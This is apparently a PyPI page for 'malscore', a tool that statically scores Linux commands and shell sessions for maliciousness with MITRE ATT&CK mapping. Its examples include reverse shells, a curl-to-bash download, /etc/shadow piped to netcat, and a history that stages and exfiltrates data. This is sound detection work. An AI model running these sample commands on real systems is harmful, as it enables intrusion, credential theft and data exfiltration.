Skip to main content

🦠 malscore

PyPI version Python 3.8+ License: Apache-2.0 Zero dependencies MITRE ATT&CK mapped

malscore takes a Linux command line, or a session of commands such as a shell history, and returns a 0–100 maliciousness score with a verdict band and MITRE ATT&CK mapping:

command(s) → features → signals → score + MITRE mapping

It never executes, expands or resolves anything — it only reads the text (enforced by tests/test_safety.py). It has no dependencies beyond the Python standard library (3.8+).


Install

pip install malscore       # provides the `malscore` command

From a source checkout:

pip install .              # or run without installing, from the repo root:
python3 -m malscore "<command>"

Quickstart

# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"

# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -

# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -

# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high

# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain

# machine-readable
malscore --session history.txt --json

# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high

Python API

from malscore import Analyzer

a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict)                 # 67 high
print([h.id for h in r.hits])             # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques)                       # ['T1059.004', 'T1105', 'T1071.001']

r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits])    # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command])   # each command's own assessment
print(r.as_dict())                        # JSON-ready

Analyzer(redact=True) redacts credential-looking values before any command text is echoed back; scores are unaffected.


Examples:

$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░  score  91/100  CRITICAL
  tactics: exfiltration, credential-access, command-and-control

  evidence:
    [0.60] exfiltration           Credential material is sent over the network
           T1552 T1041
    [0.55] credential-access      The password hash database (/etc/shadow) is accessed
           T1003.008
    [0.35] exfiltration           Data is sent over a raw socket
           T1048
    ...

$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz loot@45.33.2.1:/srv/
history -c

$ malscore --session history.txt
████████████████████████  score  99/100  CRITICAL
  history.txt
  tactics: execution, defense-evasion, exfiltration, command-and-control, collection

  7 command(s), 6 flagged:
    ████████████░░░░░░░░░░░░ L2     49 medium   curl -s -o /tmp/.x http://45.33.2.1/x
    ███████░░░░░░░░░░░░░░░░░ L3     30 low      chmod +x /tmp/.x
    ███████░░░░░░░░░░░░░░░░░ L4     30 low      /tmp/.x
    ██████░░░░░░░░░░░░░░░░░░ L5     25 low      tar czf /tmp/etc.tgz /etc
    ████████░░░░░░░░░░░░░░░░ L6     35 medium   scp /tmp/etc.tgz loot@45.33.2.1:/srv/
    ████████████░░░░░░░░░░░░ L7     50 medium   history -c
  signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...

In a session file every non-blank line is one command, taken literally: there is no handling of comments, line continuations or here-documents. --batch is different: it scores each command of a JSON feed independently, with no cross-command analysis.


Verdict bands

score verdict meaning
80–100 critical shape is rarely legitimate (reverse shell, disk wipe, uid‑0 account)
60–79 high strong evidence; review promptly
35–59 medium suspicious in most contexts (curl‑pipe‑shell, shadow read)
15–34 low worth noting in combination
0–14 benign routine

The bands and weights are a hand-tuned starting point, not a trained model — every point of the score traces to a named signal and a MITRE ATT&CK technique.


How the score is built

  1. Features. The command is lexed (without executing anything), wrappers such as sudo/env/xargs are unwrapped, substitutions and -c payloads are descended into, and deterministic features are computed — download chains, paths touched, persistence surfaces, encoding tricks, and a tradecraft group (malscore/tradecraft.py) that recognises specific attacker techniques by shape.

  2. Signals. malscore/signals.py is a catalogue of ~120 named signals: a predicate over the feature record, a weight in (0, 1], a MITRE tactic and technique ids. A weight reads as "how likely is this hostile if it were the only thing we knew". The catalogue spans, by ATT&CK tactic:

    • execution — interpreter from a download, decoded payloads, TTY upgrades, fileless execution from /proc/self/fd;
    • credential access — /etc/shadow and private keys, cloud metadata, credential-keyword searches over config files, reads of .pgpass/.netrc/ cloud credential files, environment and history scraping, SSH-agent hijack;
    • privilege escalation — reverse shells, sudoers edits, setuid, container escape, interactive root shells, GTFOBins shell escapes, the sudo -u#-1 bypass, PATH hijacks;
    • collection / exfiltration — archives and database dumps, access to tables or files holding card numbers / tokens / customer data, regex hunts for card numbers and SSNs, DNS and encoded exfiltration, paste/webhook services;
    • defense evasion — history and log tampering, disabling EDR/audit, clearing immutable flags, /proc bind-mount hiding;
    • persistence / impact — cron, systemd, login hooks, disk wipes, fork bombs, miners, DROP TABLE, mass process kills.

    The generic sensitive-data rules (card/SSN patterns, database dumps, table names such as card, token, customer) ship on by default; tune the SENSITIVE_TABLE_RE vocabulary in malscore/tradecraft.py for your own data.

  3. Aggregation (noisy‑OR). Weights combine as 1 − ∏(1 − wᵢ), so many weak signals accumulate but never overflow and one strong signal dominates. Redundant signals that share a tactic are damped, so tripping three persistence checks is not counted as three independent findings.

  4. Sessions. Each command in a session is scored as above (its contribution capped at 0.9, so one noisy command does not make a long session critical), and then cross‑command signals look for patterns no single command shows — a file downloaded early and run later, data staged (dumped, archived or compressed) and later scp‑ed away, credential access after a privilege escalation, an upload after credential access, staged data deleted once sent, download plus persistence, activity followed by history/log clearing, or activity spanning three or more tactics.

Why a static score is not the whole story

A static score measures what a command intrinsically does. It cannot know that curl … | bash is fine on a build box and an incident on a ledger database — that is a behavioural judgement relative to a user/host baseline, which is what a downstream anomaly model (e.g. an Isolation Forest over per-user history) is for. Activity the static scorer rates low (e.g. data staging spread across a session) is exactly what an anomaly layer exists to catch — and session scoring recovers much of it once the commands are scored together.

The intended production shape is a hybrid:

                command / session
                        │
        ┌───────────────┼────────────────┐
        ▼               ▼                 ▼
   malscore        behavioural        deterministic
 (static risk)     anomaly model         rules
        └───────────────┼────────────────┘
                        ▼
                 risk / triage

Documentation


Layout

file role
malscore/lexer.py non-executing shell lexer
malscore/context.py resolves executables, payloads, paths, URLs, IPs, ports
malscore/features.py generic feature groups (network, paths, persistence, …)
malscore/tradecraft.py technique-specific features (reverse shells, credential hunting, …)
malscore/signals.py weighted, MITRE-mapped signal catalogue
malscore/scoring.py noisy-OR scoring and cross-command session analysis
malscore/cli.py command-line interface (malscore / python -m malscore)

Extending the scorer

  • New technique detection → add a feature to malscore/tradecraft.py (grouped by ATT&CK tactic) and return it from one of the group functions, or to a generic group in malscore/features.py.
  • New weighting → add a Signal to malscore/signals.py with a weight, tactic and technique ids. No other file needs to change.

Tune weights against your own traffic before trusting the absolute numbers; the ranking is more portable than the exact score.

Metadata

Release files for malscore 0.1.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for malscore 0.1.1
File Size Uploaded
malscore-0.1.1.tar.gz 80.5 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for malscore 0.1.1
File Interpreter ABI Platform
malscore-0.1.1-py3-none-any.whl Python 3 none any Details

Total release size: 138.8 kB

Release files / malscore-0.1.1.tar.gz

Download URL malscore-0.1.1.tar.gz
Size 80.5 kB
Tags Source
SHA-256 checksum
How to use checksums
e9a9ed84bde07acc0e74076106a84e013d710b2313adcc64372d34d51beecbfb
BLAKE2b-256 checksum
How to use checksums
e4facb2b2805f4b0a5c06903394f41befdab8979ce1077c99b7e306d55cf63e7
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.15.0

Release files / malscore-0.1.1-py3-none-any.whl

Download URL malscore-0.1.1-py3-none-any.whl
Size 58.3 kB
Tags Python 3
SHA-256 checksum
How to use checksums
89f0abc3fa6233191164666314caa5f20ee676575a32e3c7b95c07b59762295d
BLAKE2b-256 checksum
How to use checksums
48e623549d887c0a5915a1b52085fc8345c7c8627f723d49c37998d0cc13a04c
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.15.0

Release history Release notifications | RSS feed

This release

0.1.1 This release

2 release files

0.1.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page